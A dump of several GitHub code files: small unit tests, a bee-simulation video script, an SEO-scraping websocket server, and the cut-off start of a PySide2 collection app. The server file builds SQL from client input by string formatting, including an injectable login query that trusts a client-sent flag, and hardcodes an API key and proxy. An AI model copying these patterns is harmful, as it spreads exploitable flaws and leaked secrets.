'99,0,0,0,0,10'\n        code = [int(n) for n in code.split(',')]\n        self.assertEqual(find_max_signal(code, [5, 6, 7, 8, 9]), 18216)\n","repo_name":"mdumke/aoc2019","sub_path":"day07/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"30027104213","text":"import math\nfrom typing import Type\nimport unittest\nfrom funkcja_kwadratowa import function\n\nclass functionTest(unittest.TestCase):\n    def setUp(self):\n        self.a = 1\n        self.b = 1\n        self.c = 1\n        self.x_1 = 1\n\n    def test_function(self):\n        self.assertEqual(function(self.a, self.b, self.c, self.x_1, 1), 3.0)\n        self.assertEqual(function(2, 2, 1, 1, 1), 5)\n        self.assertEqual(function(-2, -2, -1, 2, 6), -13)\n\n    def test_error(self):\n        with self.assertRaises(TypeError):\n            function(\"1\", 1, 1, 1, 1)\n        # with self.assertRaises(ValueError):\n        #     function(0, 0, 0, 0, 0)\n\n\n\n\nif __name__ == \"__main__\":\n    unittest.main()","repo_name":"RadekKlucz/Jezyki-i-Biblioteki-Analizy-danych-AGH","sub_path":"Lab3/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"71886198800","text":"import warnings\nwarnings.filterwarnings(\"ignore\")\nimport os\nimport sys\nimport numpy as np\nimport glob2\nimport h5py\nimport matplotlib.pyplot as plt\nimport cv2\nplt.rcParams[\"font.family\"] = \"Arial\"\n\nexperiment_path = \"experiment_1__2019-02-18_11-20-18\"\ntrial_path = \"Q0.15_W0.15_D0.6_T0.02500_wb0.0_decay18.0_seed24\"\nbase_exp_dir = f\"experiments/{experiment_path}/{trial_path}\"\n\n############# Functions\ndef read_config(base_exp_dir):\n    cfg_path = glob2.glob(f\"config/files/*.cfg\")[4]\n    cfg_path, os.path.exists(cfg_path)\n\n    with open(cfg_path, \"r\") as infile:\n        lines = [line.split() for line in infile]\n        cfg_opts = {}\n        for key, val in lines:\n            key = key.replace('--', '')\n\n            try:\n                val = float(val)\n            except:\n                try:\n                    val = int(val)\n                except:\n                    if val.startswith(\"T\"):\n                        val = True\n                    elif val.startswith(\"F\"):\n                        val = False\n                    pass\n            cfg_opts[key] = val\n    return cfg_opts\n\n\ndef imgs2vid(imgs, outpath, fps=4):\n    height, width, layers = imgs[0].shape\n    fourcc = cv2.VideoWriter_fourcc(\"m\", \"p\", \"4\", \"v\")\n    video = cv2.VideoWriter(outpath, fourcc, fps, (width, height), True)\n\n    for img in imgs:\n        video.write(img)\n\n    cv2.destroyAllWindows()\n    video.release()\n\n############# Run\nscript_config = read_config(base_exp_dir)\nX_MIN = script_config['x_min']\nX_MAX = script_config['x_max']\nDX = script_config['dx']\nGRID_SIZE = np.arange(X_MIN, X_MAX+DX, DX).shape[0]\nconvert_xy_to_index = lambda xy: ((xy - X_MIN) / (X_MAX - X_MIN)) * GRID_SIZE\n\nipynb_dev_config = False\nif not ipynb_dev_config:\n    env_path = os.path.join(base_exp_dir, \"envir_hist.h5\")\n    bee_path = os.path.join(base_exp_dir, \"bee_hist.h5\")\n    print(os.path.exists(env_path), os.path.exists(bee_path), env_path)\nelse:\n    base_exp_dir = \"./\"\n    env_path = os.path.join(base_exp_dir, \"envir_hist.h5\")\n    bee_path = os.path.join(base_exp_dir, \"bee_hist.h5\")\n    print(os.path.exists(env_path), os.path.exists(bee_path), env_path)\n\n# Concentration maps\nwith h5py.File(env_path, 'r') as infile:\n    cmaps = np.array(infile['concentration'])\n\n# Min and max concentrations for heatmap\nmin_c = np.min(cmaps[:])\nmax_c = np.max(cmaps[:]) * 0.8\n\n# Bee measurements\nbee_data = {}\nwith h5py.File(bee_path, 'r') as infile:\n    for key, val in infile.items():\n        bee_data[key] = np.array(val)\n\nbee_nums = np.unique(bee_data['bee_i'])\nbees = {}\nfor bee_num in bee_nums:\n    idxs = np.where(bee_data['bee_i']==bee_num)\n    bee_x = bee_data['x'][idxs]\n    bee_y = bee_data['y'][idxs]\n    bee_state = bee_data['state'][idxs]\n    distance = bee_data['distance_from_queen'][idxs]\n    bee_grads = bee_data['gradient_x'][idxs], bee_data['gradient_y'][idxs]\n    bias = bee_data['wx'][idxs], bee_data['wy'][idxs]\n    bees[bee_num] = {\"x\" : bee_x, \"y\" : bee_y, \"state\": bee_state,\n                    \"distance\": distance, \"grads\" : bee_grads}\n\n# Make frames\ncolors = [\"red\", \"gray\", \"#479030\", \"orange\", \"blue\"]\ncolor_decoder = {\n    0: colors[1],\n    1: colors[2],\n    2: colors[2],\n    3: colors[3],\n    4: colors[4]\n}\nTIME = cmaps.shape[0]\nsavepath = \"\"\nfor frame_i in range(cmaps.shape[0]):\n    sys.stdout.write(f\"\\rFrame {frame_i+1}/{TIME}\")\n    sys.stdout.flush()\n\n    # CONCENTRATION\n    cmap = cmaps[frame_i]\n    plt.imshow(cmap, cmap='Greens', vmin=min_c, vmax=max_c)\n    plt.colorbar(shrink=0.8, format='%.2f')\n\n    # QUEEN\n    queen = convert_xy_to_index(0)\n    plt.scatter(queen, queen, c=\"red\", s=100, edgecolors='black', marker='o')\n\n    # WORKERS\n    for bee_key, bee_vals in bees.items():\n        x = bee_vals['x'][frame_i]\n        y = bee_vals['y'][frame_i]\n        state = bee_vals['state'][frame_i]\n        color = color_decoder[state]\n        plt.scatter(convert_xy_to_index(x), convert_xy_to_index(y),\n                    color=color, s=30, edgecolors='black')\n\n    # FORMATTING\n    texts = [\"Queen\", \"Random walk pre-scenting\", \"Scenting\", \"Directed walk\", \"Random walk post-scenting\"]\n    patches = [ plt.plot([],[], marker=\"o\", ms=5, ls=\"\", mec=None, color=colors[i],\n                markeredgecolor=\"black\", label=\"{:s}\".format(texts[i]) )[0]  for i in range(len(texts)) ]\n    plt.legend(handles=patches, bbox_to_anchor=(0.5, -0.22),\n               loc='center', ncol=2, numpoints=1, labelspacing=0.3,\n               fontsize='small', fancybox=\"True\",\n               handletextpad=0, columnspacing=0)\n    plt.xlabel(\"x\")\n    plt.ylabel(\"y\")\n    plt.xlim(0, 600)\n    plt.ylim(600, 0)\n\n    if ipynb_dev_config:\n        plt.title(f\"Q{QUEEN_BEE_A}_W{WORKER_BEE_A}_D{D}_T{THRESHOLD}_wb{WB}_decay{DECAY}_seed{SEED} \\n t: {frame_i+1}/{TIME-1}\")\n    else:\n        num_timesteps = np.arange(script_config['t_min'], script_config['t_max']+script_config['dt'], script_config['dt']).shape[0]\n        Q = script_config['queen_initial_concentration']\n        W = script_config['worker_initial_concentration']\n        D = script_config['diffusion_coefficient']\n        T = script_config['worker_threshold']\n        wb = int(script_config['worker_bias_scalar'])\n        decay = int(script_config['decay'])\n        seed = int(script_config['random_seed'])\n        title = f\"Q{Q}_W{W}_D{D}_T{T:0.5f}_wb{wb}_decay{decay}\"\n        savepath = f\"{title}_seed{seed}.mp4\"\n        plt.title(f\"{title} \\n t: {frame_i+1}/{TIME}\")\n\n    # SAVING FRAMES\n    file_path = f't{frame_i+1:04d}.png'\n    filename = f'movie_frames/{file_path}'\n    plt.savefig(filename, bbox_inches='tight', dpi=100)\n    plt.close()\n\n####### Stitching FRAMES\nall_img_paths = np.sort(glob2.glob(\"movie_frames/*.png\"))\nall_imgs = np.array([cv2.imread(img) for img in all_img_paths])\n\nsavepath = f\"movie_frames/{savepath}\"\nimgs2vid(all_imgs, savepath)\n","repo_name":"dieumynguyen/bee_communication_v2","sub_path":"script/make_movie.py","file_name":"make_movie.py","file_ext":"py","file_size_in_byte":5809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"69910277522","text":"import asyncio\nimport websockets\nimport requests\nimport json\nimport mysql.connector\nimport pathlib\nfrom unidecode import unidecode\nfrom itertools import groupby\nfrom bs4 import BeautifulSoup\nimport re\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.service import Service as ChromeService\nfrom webdriver_manager.chrome import ChromeDriverManager\nimport threading\nimport datetime\nfrom urllib.parse import urlparse\nfrom random_user_agent.user_agent import UserAgent\nfrom random_user_agent.params import SoftwareName, OperatingSystem\n\nconfig_file = pathlib.Path(__file__).with_name(\"config.json\")\nwith open(config_file) as json_file:\n    data = json.load(json_file)\n    DB_HOST = data['DB_HOST']\n    DB_NAME = data['DB_NAME']\n    DB_USER = data['DB_USER']\n    DB_PASS = data['DB_PASS']\n    PORT = data['PORT']\n    SERVER = data['SERVER']\n    SEO_RANK_API_Key = data['SEO_RANK_API_Key']\n\n\nasync def remove_duplicates():\n    con = None\n    cursor = None\n    try:\n        con = mysql.connector.connect(user=DB_USER,\n                                      password=DB_PASS,\n                                      host=DB_HOST,\n                                      database=DB_NAME)\n        cursor = con.cursor()\n        sql = \"\"\"DELETE t1 FROM search_result t1\n        INNER JOIN (\n            SELECT search_history_id, page_url, MIN(id) min_id\n            FROM search_result\n            GROUP BY search_history_id, page_url\n            HAVING COUNT(*) > 1\n        ) t2\n        ON t1.search_history_id = t2.search_history_id\n        AND t1.page_url = t2.page_url\n        AND t1.id <> t2.min_id\"\"\"\n        cursor.execute(sql)\n        con.commit()\n    except Exception as e:\n        print(f'Error while removing duplicates: {e}')\n    finally:\n        cursor.close()\n        con.close()\n\n\ndef getAPIDATA():\n    api_data = [0, '', '', 0, '', 0, 0]\n    try:\n        sql = f\"SELECT * FROM `api_data` ORDER BY `hits` ASC LIMIT 1\"\n        con = mysql.connector.connect(user=DB_USER,\n                                      password=DB_PASS,\n                                      host=DB_HOST,\n                                      database=DB_NAME)\n        cursor = con.cursor()\n        cursor.execute(sql)\n        api_data = list(cursor.fetchone())\n        print(\n            f\"Success to select an api_key. ID: {api_data[0]}\")\n    except Exception as e:\n        print(f'Failed to select an api_key.', e)\n    finally:\n        cursor.close()\n        con.close()\n\n    return api_data\n\n\ndef updateHistoryChanges(search_history_id):\n    try:\n        dt_now = datetime.datetime.now()\n\n        sql = f\"UPDATE `search_history` SET `last_modified`='{dt_now.strftime('%Y-%m-%d %H:%M:%S')}' WHERE `id`='{search_history_id}'\"\n        con = mysql.connector.connect(user=DB_USER,\n                                      password=DB_PASS,\n                                      host=DB_HOST,\n                                      database=DB_NAME)\n        cursor = con.cursor()\n        cursor.execute(sql)\n        con.commit()\n    except Exception as e:\n        print(f'UPDATE search_history failed.', e)\n    finally:\n        cursor.close()\n        con.close()\n\n\ndef isExisting(search_history_id, domain, url):\n    existing_urls = []\n    try:\n        con = mysql.connector.connect(user=DB_USER,\n                                      password=DB_PASS,\n                                      host=DB_HOST,\n                                      database=DB_NAME)\n        cursor = con.cursor()\n        sql = f\"SELECT `page_url` FROM `search_result` WHERE `search_history_id`='{search_history_id}' AND `domain` LIKE '{domain}'\"\n        cursor.execute(sql)\n        existing_urls = [item[0] for item in cursor.fetchall()]\n    except Exception as ex:\n        print('This domain has already been checked, skipping', ex)\n    finally:\n        cursor.close()\n        con.close()\n\n    print('Existing urls', existing_urls)\n\n    if url in existing_urls:\n        return True\n    return False\n\n\ndef increaseHits(api_id):\n    try:\n        sql = f\"UPDATE `api_data` SET `hits` = `hits` + 1 WHERE `id` = {api_id}\"\n        con = mysql.connector.connect(user=DB_USER,\n                                      password=DB_PASS,\n                                      host=DB_HOST,\n                                      database=DB_NAME)\n        cursor = con.cursor()\n        cursor.execute(sql)\n        con.commit()\n        print(\n            f\"Success to update a hit. ID: {api_id}\")\n    except Exception as e:\n        print(f'Failed to update a hit.', e)\n    finally:\n        cursor.close()\n        con.close()\n\n\ndef getSeoRankChecker(your_website_url):\n    try:\n        # Add https:// before your_website_url and a trailing slash at the end\n        your_website_url = your_website_url.strip(\n            '/')  # remove existing trailing slashes\n        your_website_url = \"https://\" + your_website_url + \"/\"\n\n        while True:\n            seo_url = \"https://seo-rank-checker.p.rapidapi.com/check\"\n            seo_querystring = {\"metric\": \"mixed\"}\n            seo_payload = {\"url\": your_website_url}\n            seo_headers = {\n                \"X-RapidAPI-Key\": SEO_RANK_API_Key,\n                \"content-type\": \"application/json\",\n                \"X-RapidAPI-Host\": \"seo-rank-checker.p.rapidapi.com\"\n            }\n            seo_response = requests.request(\n                \"POST\", seo_url, json=seo_payload, headers=seo_headers, params=seo_querystring)\n            seo_json_object = json.loads(seo_response.text)\n\n            # Check if hostname is a digit, otherwise try again with \"www.\" added to the URL\n            if not str(seo_json_object[\"result\"][\"semrush\"][\"links\"][\"hostname\"]).isdigit():\n                your_website_url = your_website_url.replace(\n                    \"https://\", \"https://www.\")\n                your_website_url = your_website_url.rstrip(\n                    '/')  # remove any trailing slashes\n                continue\n\n            return seo_json_object\n    except Exception as e:\n        print('***** getSeoRankChecker *****')\n        print(f'Error in {your_website_url}', e)\n        print('**********')\n\n\ndef getTitleOfPage(page_url):\n\n    # List of file extensions to check for\n    file_extensions = (\".pdf\", \".doc\", \".docx\", \".PDF\", \".DOC\", \".DOCX\")\n\n    # Get random user agent\n    software_names = [SoftwareName.CHROME.value]\n    operating_systems = [OperatingSystem.WINDOWS.value,\n                         OperatingSystem.LINUX.value]\n    user_agent_rotator = UserAgent(\n        software_names=software_names, operating_systems=operating_systems, limit=100)\n\n    # Try getting title with requests + proxy + random user agent\n    def simple_method(page_url, proxy=None):\n        try:\n            headers = {\"User-Agent\": user_agent_rotator.get_random_user_agent()}\n            response = requests.get(\n                page_url, proxies=proxy, headers=headers, timeout=10)\n            soup = BeautifulSoup(response.content, \"html.parser\")\n            title_tag = soup.find(\"title\")\n            if title_tag:\n                title = title_tag.text\n            else:\n                title = None\n        except Exception as e:\n            title = None\n        return title\n\n    # If blocked, use APILayer meta tags API\n    def get_meta_tags_using_api(page_url):\n        api_url = f\"https://api.apilayer.com/meta_tags?url={page_url}&proxy=true\"\n        headers = {\n            \"apikey\": \"fbBYQNnJgQsG7ES2dFQ7FGw53MWD3vyU\"\n        }\n        try:\n            response = requests.get(api_url, headers=headers, timeout=10)\n            status_code = response.status_code\n            result = response.text\n            return status_code, result\n        except Exception as e:\n            return None, None\n\n    # Grab title function\n    PROXY = {\"http\": \"http://193.164.199.29:3128\"}\n\n    def is_title_blocked(title, blocked_titles):\n        return any(partial_title in title for partial_title in blocked_titles)\n\n    # Grab title function\n    def grabtitle():\n\n        if page_url.endswith(file_extensions):\n            return \"[Unreachable]\"\n\n        title = simple_method(page_url, PROXY)\n\n        blocked_titles = [\"Robot Challenge Screen\", \"Access Denied\", \"Just a moment\", \"403 Forbidden\", \"503 Service Temporarily Unavailable\", \"Security check\", \"Not Acceptable!\", \"Temporary Page\", \"Sucuri WebSite Firewall - Access Denied\", \"502 Bad Gateway\", \"520\", \"StackPath\"]\n\n        if is_title_blocked(title, blocked_titles):\n            status_code, result = get_meta_tags_using_api(page_url)\n\n            if status_code is not None and result is not None:\n                result_json = json.loads(result)  # Parse the JSON response\n                title_from_api = result_json.get(\n                    'title', None)  # Get the \"title\" value\n\n                if title_from_api is not None:\n                    return title_from_api\n                else:\n                    title = simple_method(page_url)\n                    return title if title is not None else \"[Unreachable]\"\n            else:\n                title = simple_method(page_url)\n                return title if title is not None else \"[Unreachable]\"\n        else:\n            return title if title is not None else \"[Unreachable]\"\n\n    page_title = grabtitle()\n    page_title = unidecode(page_title)\n    page_title = page_title.replace(\"’\", \"'\").replace(\"‘\", \"'\").replace(\"&#039;\", \"'\")\n    page_title = re.sub(\"[^a-zA-Z0-9-.' ]+\", \" \", page_title)\n    page_title = page_title.split('|')[0]\n    page_title = page_title.split(' - ')[0]\n    page_title = page_title.strip()\n    if page_title == '':\n        page_title = '[Unreachable]'\n    else:\n        url_parse = urlparse(page_url)\n        if url_parse.path == '' or url_parse.path == '/':\n            page_title = '[Homepage] ' + page_title\n\n    print(f\"page_url: {page_url}, page_title: {page_title}\")\n\n    return page_title\n\n\ndef data_processor(raw_message):\n    print(f'Received data as: {raw_message}')\n    json_object = json.loads(raw_message)\n    return json_object\n\n\n# A set of connected ws clients\nconnected = set()\n\n\ndef between_callback_thread(json_message, websocket):\n    loop = asyncio.new_event_loop()\n    asyncio.set_event_loop(loop)\n    loop.run_until_complete(broadcast_messages(json_message, websocket))\n    loop.close()\n\n\nasync def handler(websocket, path):\n    remote_ip = websocket.remote_address[0]\n    print(f'A client just connected at IP: {remote_ip}')\n    connected.add(websocket)\n    try:\n        async for raw_message in websocket:\n            print(\"Received message from client: \" + raw_message)\n            for conn in connected:\n                if conn == websocket:\n                    json_message = json.loads(raw_message)\n                    if 'email' in json_message and 'loggedin' in json_message:\n                        try:\n                            sql = f\"SELECT * FROM `user` WHERE `email` LIKE '{json_message['email']}'\"\n                            con = mysql.connector.connect(user=DB_USER,\n                                                          password=DB_PASS,\n                                                          host=DB_HOST,\n                                                          database=DB_NAME)\n                            cursor = con.cursor()\n                            cursor.execute(sql)\n                            users = cursor.fetchall()\n                            if len(users) > 0 and json_message['loggedin'] == 1:\n                                print(\"Authentication Success\")\n                                await websocket.send('pong')\n                            else:\n                                await websocket.close(1011, \"Authentication failed\")\n                        except Exception as e:\n                            print(f'Authentication failed.', e)\n                            await websocket.close(1011, \"Authentication failed\")\n                        finally:\n                            cursor.close()\n                            con.close()\n                        continue\n                    elif 'filtered_domain' in raw_message:\n                        '''\n                        # Thread sending #\n                        '''\n                        server = threading.Thread(target=between_callback_thread, args=(\n                            json_message, websocket), daemon=True)\n                        server.start()\n\n                        print(f'success boradcast_messages to {remote_ip}')\n\n    except websockets.exceptions.ConnectionClosed as e:\n        print(f\"{remote_ip} client just disconnected\")\n    finally:\n        connected.remove(websocket)\n\n\nasync def broadcast(domain_json, search_history_id, your_website_url_da, websocket=None):\n    domain = domain_json['domain']\n    traffic_sum = domain_json['traffic_sum']\n    stat_total_keywords = domain_json['total_keywords']\n\n    api_data = getAPIDATA()\n    SERANKING_TOKEN = api_data[1]\n    proxy_ip = api_data[4]\n    proxy_port = api_data[5]\n\n    proxies = {\n        'http': f'{proxy_ip}:{proxy_port}',\n        'https': f'{proxy_ip}:{proxy_port}',\n    }\n\n    url = f\"https://api4.seranking.com/research/us/keywords/?domain={domain}&type=organic&group=url&source=us&currency=USD&base_domain={domain}&sort=traffic_percent&sort_order=desc&limit=1000&offset=0\"\n    payload = {}\n    headers = {\n        'Authorization': f'Token {SERANKING_TOKEN}'\n    }\n    response = requests.request(\n        \"GET\", url, headers=headers, data=payload, proxies=proxies)\n\n    increaseHits(api_data[0])\n\n    json_object = json.loads(response.text)\n\n    json_object.sort(key=lambda content: content['url'])\n    groups = groupby(json_object, lambda content: content['url'])\n\n    stat_seo_viability = 0\n    stat_page_authority = 0\n\n    stat_domain_authority = 0\n    stat_rank = 0\n    stat_links = 0\n\n    seo_json_object = getSeoRankChecker(domain)\n    if 'success' in seo_json_object and seo_json_object['success']:\n        stat_rank = seo_json_object['result']['semrush']['rank']\n        stat_links = seo_json_object['result']['semrush']['links']['domain']\n        stat_domain_authority = seo_json_object['result']['authority']['domain']\n\n        if str(stat_rank).isdigit() == False:\n            stat_rank = 0\n        if str(stat_links).isdigit() == False:\n            stat_links = 0\n        if str(stat_domain_authority).isdigit() == False:\n            stat_domain_authority = 0\n\n    json_result = []\n    for page_url, contents in groups:\n        is_existing = isExisting(search_history_id, domain, page_url)\n        if is_existing:\n            continue\n        stat_traffic_percentage = round(sum(content['traffic_percent']\n                                            for content in contents), 2)\n        json_result.append({\n            'search_history_id': search_history_id,\n            'page_title': '',\n            'page_url': page_url,\n            'domain': domain,\n            'stat_seo_viability': stat_seo_viability,\n            'stat_traffic_percentage': stat_traffic_percentage,\n            'stat_total_keywords': stat_total_keywords,\n            'stat_domain_authority': stat_domain_authority,\n            'stat_page_authority': stat_page_authority,\n            'stat_rank': stat_rank,\n            'stat_links': stat_links,\n        })\n\n    json_result.sort(key=lambda content: -content['stat_traffic_percentage'])\n\n    records = []\n    record_cnt = 0\n    batch_size = 3\n    batch_records = []\n\n    for content in json_result[:100]:\n        try:\n            con = mysql.connector.connect(user=DB_USER,\n                  password=DB_PASS,\n                  host=DB_HOST,\n                  database=DB_NAME)\n            cursor = con.cursor()\n\n            record_cnt += 1\n            search_history_id = content['search_history_id']\n            page_url = content['page_url']\n            domain = content['domain']\n            stat_seo_viability = content['stat_seo_viability']\n            stat_traffic_percentage = content['stat_traffic_percentage']\n            stat_total_keywords = content['stat_total_keywords']\n            stat_domain_authority = content['stat_domain_authority']\n            stat_page_authority = content['stat_page_authority']\n            stat_rank = content['stat_rank']\n            stat_links = content['stat_links']\n\n            if record_cnt <= 3:\n                stat_seo_viability = 3\n            if record_cnt <= 15:\n                stat_seo_viability += 1\n            if your_website_url_da > stat_domain_authority:\n                stat_seo_viability += 1\n            if your_website_url_da - 10 < stat_domain_authority:\n                stat_seo_viability += 1\n            if your_website_url_da - 20 < stat_domain_authority:\n                stat_seo_viability += 1\n            if stat_traffic_percentage > traffic_sum * 5 / 100:\n                stat_seo_viability += 1\n            if stat_traffic_percentage > traffic_sum * 20 / 100:\n                stat_seo_viability += 1\n            if stat_traffic_percentage > traffic_sum * 40 / 100:\n                stat_seo_viability += 1\n\n            # get page title\n            page_title = getTitleOfPage(page_url)\n            '''\n            Insert search_result for page_url into database\n            '''\n            val = (\n                search_history_id, page_title, page_url, domain, stat_seo_viability, stat_traffic_percentage, stat_total_keywords, stat_domain_authority, stat_page_authority, stat_rank, stat_links\n            )\n\n            sql = \"\"\"\n            INSERT INTO `search_result` \n            (search_history_id, page_title, page_url, domain, stat_seo_viability, \n            stat_traffic_percentage, stat_total_keywords, stat_domain_authority, \n            stat_page_authority, stat_rank, stat_links) \n            VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\n            \"\"\"\n            cursor.execute(sql, val)\n    \n            lastrowid = cursor.lastrowid\n            if lastrowid < 1:\n                continue\n    \n            updateHistoryChanges(search_history_id)\n    \n            batch_records.append({\n                'id': lastrowid,\n                'search_history_id': search_history_id,\n                'page_title': page_title,\n                'page_url': page_url,\n                'domain': domain,\n                'stat_seo_viability': stat_seo_viability,\n                'stat_traffic_percentage': stat_traffic_percentage,\n                'stat_total_keywords': stat_total_keywords,\n                'stat_domain_authority': stat_domain_authority,\n                'stat_page_authority': stat_page_authority,\n                'stat_rank': stat_rank,\n                'stat_links': stat_links,\n            })\n    \n            if record_cnt % batch_size == 0:\n                con.commit()\n    \n                if websocket is not None:\n                    try:\n                        await websocket.send(json.dumps(batch_records))\n                    except Exception as ex:\n                        print('Exception in Websocket send', ex)\n    \n                print(f'***** Success to send {record_cnt} records *****')\n                batch_records = []\n    \n        except Exception as ex:\n            print('Exception in Content data within 100', ex)\n    \n    if batch_records:\n        con.commit()\n        if websocket is not None:\n            try:\n                await websocket.send(json.dumps(batch_records))\n            except Exception as ex:\n                print('Exception in Websocket send', ex)\n    \n        print(f'***** Success to send {record_cnt} records *****')\n    \n    # Don't forget to close the cursor and connection at the end\n    cursor.close()\n    con.close()\n\n\nasync def broadcast_messages(json_object, websocket):\n    search_history_id = json_object['search_history_id']\n    filtered_domain = json_object['filtered_domain']\n    your_website_url = json_object['your_website_url']\n    domains = json.dumps(filtered_domain)\n\n    try:\n        sql = f\"UPDATE `search_history` SET `domains` = '{domains}' WHERE `id` = {search_history_id}\"\n        con = mysql.connector.connect(user=DB_USER,\n                                      password=DB_PASS,\n                                      host=DB_HOST,\n                                      database=DB_NAME)\n        cursor = con.cursor()\n        cursor.execute(sql)\n        con.commit()\n        print(\n            f\"search_history domains update success. ID: {search_history_id}\")\n    except Exception as e:\n        print(f'search_history domains update failed.', e)\n    finally:\n        cursor.close()\n        con.close()\n\n    seo_json_object = getSeoRankChecker(your_website_url)\n    your_website_url_da = 0\n\n    if 'success' in seo_json_object and seo_json_object['success']:\n        your_website_url_da = seo_json_object['result']['authority']['domain']\n\n    for domain_json in filtered_domain:\n        try:\n            await broadcast(domain_json, search_history_id, your_website_url_da, websocket)\n        except Exception as e:\n            print(f'There is an issue to broadcast in {your_website_url}', e)\n    try:\n        sql = f\"UPDATE `search_history` SET `status`='COMPLETED' WHERE `id`={search_history_id}\"\n        con = mysql.connector.connect(user=DB_USER,\n                                      password=DB_PASS,\n                                      host=DB_HOST,\n                                      database=DB_NAME)\n        cursor = con.cursor()\n        cursor.execute(sql)\n        con.commit()\n        print(\n            f\"search_history status updated as 'COMPLETED', ID: {search_history_id}\")\n    except Exception as e:\n        print(f'search_history status updated failed.', e)\n    finally:\n        cursor.close()\n        con.close()\n    print('***** COMPLETED *****')\n    await websocket.send('COMPLETED')\n\n\nasync def do_stuff_periodically(interval):\n    while True:\n        await asyncio.gather(\n            asyncio.sleep(interval),\n            search_history_checker(),\n            remove_duplicates()\n        )\n    \n\ndef cron_search_progress_checker():\n    print(\"***** cron_search_progress_checker starting...*****\")\n    asyncio.run(do_stuff_periodically(60*1))\n\n\nasync def search_history_checker():\n    print('**** create search_history_checker...')\n\n    try:\n        dt_30mins_ago = datetime.datetime.now() - datetime.timedelta(minutes=1)\n        con = mysql.connector.connect(user=DB_USER,\n                                      password=DB_PASS,\n                                      host=DB_HOST,\n                                      database=DB_NAME)\n        cursor = con.cursor()\n        sql = f\"SELECT * FROM `search_history` WHERE `status` LIKE 'PROGRESS' AND `domains` IS NOT NULL AND `last_modified` < '{dt_30mins_ago.strftime('%Y-%m-%d %H:%M:%S')}' ORDER By `last_modified` DESC LIMIT 1\"\n        cursor.execute(sql)\n        search_history_rows = cursor.fetchall()\n        cursor.close()\n        con.close()\n\n        for row in search_history_rows:\n            \n            id = row[0]\n            your_website_url = row[6]\n            \n            try:\n                filtered_domain = json.loads(row[11])\n            except json.JSONDecodeError:\n                print(f\"Failed to decode JSON for row: {row}\")\n                continue\n                \n            if row[11] == '':\n                continue\n            filtered_domain = json.loads(row[11])\n            if filtered_domain is None:\n                continue\n\n            seo_json_object = getSeoRankChecker(your_website_url)\n            your_website_url_da = 0\n\n            if 'success' in seo_json_object and seo_json_object['success']:\n                your_website_url_da = seo_json_object['result']['authority']['domain']\n\n            try:\n                con = mysql.connector.connect(user=DB_USER,\n                                              password=DB_PASS,\n                                              host=DB_HOST,\n                                              database=DB_NAME)\n                cursor = con.cursor()\n                sql = f\"SELECT `domain` FROM `search_result` WHERE `search_history_id`={id} GROUP BY `domain`\"\n                cursor.execute(sql)\n                domains = [item[0] for item in cursor.fetchall()]\n                print(f'existing domains: {domains}')\n                print(f'{sql} Success')\n            except Exception as e:\n                print(f'{sql} Failed', e)\n            finally:\n                cursor.close()\n                con.close()\n\n            for domain_json in filtered_domain:\n                domain = domain_json['domain']\n                if domain in domains:\n                    continue\n                try:\n                    await broadcast(domain_json, id, your_website_url_da)\n                except Exception as e:\n                    print(\n                        f'There is an issue to broadcast in search_history_checker')\n\n            try:\n                con = mysql.connector.connect(user=DB_USER,\n                                              password=DB_PASS,\n                                              host=DB_HOST,\n                                              database=DB_NAME)\n                cursor = con.cursor()\n                sql = f\"UPDATE `search_history` SET `status`='COMPLETED' WHERE `id`={id}\"\n                cursor.execute(sql)\n                con.commit()\n                print(\n                    f\"search_history status updated as 'COMPLETED', ID: {id}\")\n            except Exception as e:\n                print(f'search_history status updated failed.', e)\n            finally:\n                cursor.close()\n                con.close()\n            print('***** COMPLETED *****')\n    except Exception as e:\n        print(f'search_history PROGRESS query failed.', e)\n\n    print('**** search_history_checker end...')\n\nif __name__ == \"__main__\":\n    api_data = getAPIDATA()\n    print(api_data)\n    print(api_data[6])\n    _cron_thread = threading.Thread(target=cron_search_progress_checker)\n    _cron_thread.start()\n\n    print('socket is starting...')\n    start_server = websockets.serve(handler, SERVER, PORT, ssl=None)\n    asyncio.get_event_loop().run_until_complete(start_server)\n    asyncio.get_event_loop().run_forever()\n","repo_name":"jmsprsns/tfserver","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":26100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"17467854580","text":"#!/usr/bin/env python\nfrom os import path\nfrom time import sleep\n\nimport requests\nfrom PySide2.QtGui import QIcon\nfrom PySide2.QtSql import QSqlDatabase, QSqlQuery\nfrom PySide2.QtWidgets import QMainWindow, QDialog, QTabWidget, \\\n    QAction, QMenu, QApplication, QMessageBox, QLineEdit, QDesktopWidget, \\\n    QWidget, QLabel, QPushButton, QInputDialog, QProgressBar, QVBoxLayout, QComboBox, QHBoxLayout\n\nfrom utilities.exportcsv import sql2csv\nfrom utilities.fetchinfo import getMobyRelease\nfrom utilities.fetchprice import getPriceData\nfrom utilities.steamlibrary import getSteamLibrary\nfrom utilities.log import logger\nfrom widgets.importwindow import ImportWindow\nfrom widgets.inputwindow import InputWindow\nfrom widgets.overview import Overview\nfrom widgets.randomizer import Randomizer\nfrom widgets.filterdock import FilterDock\nfrom widgets.sidepanel import SidePanel\nfrom widgets.table import Table\n\n_VERSION = \"0.5.3\"\n\n\nclass MainWindow(QMainWindow):\n\n    # noinspection PyUnresolvedReferences\n    def __init__(self, dbpath):\n        super(MainWindow, self).__init__()\n\n        # 'Add to collection' window\n        self.addWindow = None\n\n        # 'Import games' window\n        self.importWindow = None\n\n        # Side panel\n        self.sidePanel = SidePanel()\n\n        # Tables and their databases\n        db = QSqlDatabase.addDatabase(\"QSQLITE\")\n        db.setDatabaseName(dbpath)\n        if not db.open():\n            logger.critical(f\"Couldn't open database: {db.lastError().text()}\")\n            QMessageBox.critical(None, \"Database Error\", db.lastError().text())\n        self.gamesTableView = Table(\"games\", db)\n        self.gamesTableView.doubleClick.connect(self.sidePanel.showDetails)\n        self.consolesTableView = Table(\"consoles\", db)\n        self.consolesTableView.doubleClick.connect(self.sidePanel.showDetails)\n        self.accessoriesTableView = Table(\"accessories\", 